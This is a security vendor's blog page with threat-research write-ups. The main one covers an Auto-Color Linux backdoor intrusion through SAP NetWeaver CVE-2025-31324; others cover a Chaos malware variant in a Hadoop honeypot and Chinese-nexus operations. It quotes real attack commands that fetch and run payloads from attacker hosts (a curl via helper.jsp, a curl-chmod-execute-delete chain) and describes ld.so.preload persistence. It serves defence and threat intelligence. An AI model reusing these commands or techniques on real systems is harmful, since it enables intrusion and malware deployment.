July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.

Written by

Harriet Rayner

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Harriet Rayner

Cyber Analyst

Written by

Owen Finn

Cyber Analyst

Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.

Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

exploit.properties
helper.jsp
0KIF8.jsp
cmd.jsp
test.txt
uid.jsp
vregrewfsf.jsp

Auto-Color sample:

270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

146[.]70[.]19[.]122
149[.]78[.]184[.]215
196[.]251[.]85[.]31
120[.]231[.]21[.]8
148[.]135[.]80[.]109
45[.]32[.]126[.]94
110[.]42[.]42[.]64
119[.]187[.]23[.]132
18[.]166[.]61[.]47
183[.]2[.]62[.]199
188[.]166[.]87[.]88
31[.]222[.]254[.]27
91[.]193[.]19[.]109
123[.]146[.]1[.]140
139[.]59[.]143[.]102
155[.]94[.]199[.]59
165[.]227[.]173[.]41
193[.]149[.]129[.]31
202[.]189[.]7[.]77
209[.]38[.]208[.]202
31[.]222[.]254[.]45
58[.]19[.]11[.]97
64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Inside the SOC

Written by

Harriet Rayner

Cyber Analyst

Written by

Owen Finn

Cyber Analyst

•

April 7, 2026

Nathaniel Bill

Malware Research Engineer

VP, Security & AI Strategy, Field CISO

Watch the NIS2 Webinar

Blog

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

*Figure 1: The initial infection being delivered to the unsecured endpoint.*

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

‍curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.‍
chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.‍
./7c49006c2e417f20c732409ead2d6cc0. - executes the malware‍
rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

*Figure 2: The creation of the systemd persistence service.*

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

HTTP
TLS
TCP
UDP
WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

*Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.*

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server. At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

About the author

Nathaniel Bill

Malware Research Engineer

Blog

Network

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.

What the data shows

Several clear trends emerged from the analysis:

Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.
Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.
Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

What is CVE-2025-31324?

What is Auto-Color Backdoor Malware?

What does Auto-Color Backdoor Malware do?

How does Auto-Color work?

Gaining persistence through preload manipulation

A delayed payload activated by outbound communication

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

Early signs of unusual activity detected by Darktrace

Initial compromise via ZIP file download followed by DNS tunnelling requests

Continued malicious activity

Execution

A deeper investigation into the attack

Conclusion

Appendices

Darktrace Model Detections

References

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Enjoying the blog?

More in this series

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Phantom Footprints: Tracking GhostSocks Malware

When Reality Diverges from the Playbook: Darktrace Identifies Encryption in a World Leaks Ransomware Attack

Blog

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Introduction

What is Chaos Malware?

Darktrace’s view of a Chaos Malware Compromise

Analysis of the updated Chaos malware sample

Key takeaways

Indicators of Compromise (IoCs)

References

Blog

Network

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

How Chinese-nexus cyber threats have changed over time

How Darktrace analysts took a behavioral approach to a complex problem

What the data shows

Two models of cyber operations

Rethinking cyber risk

What comes next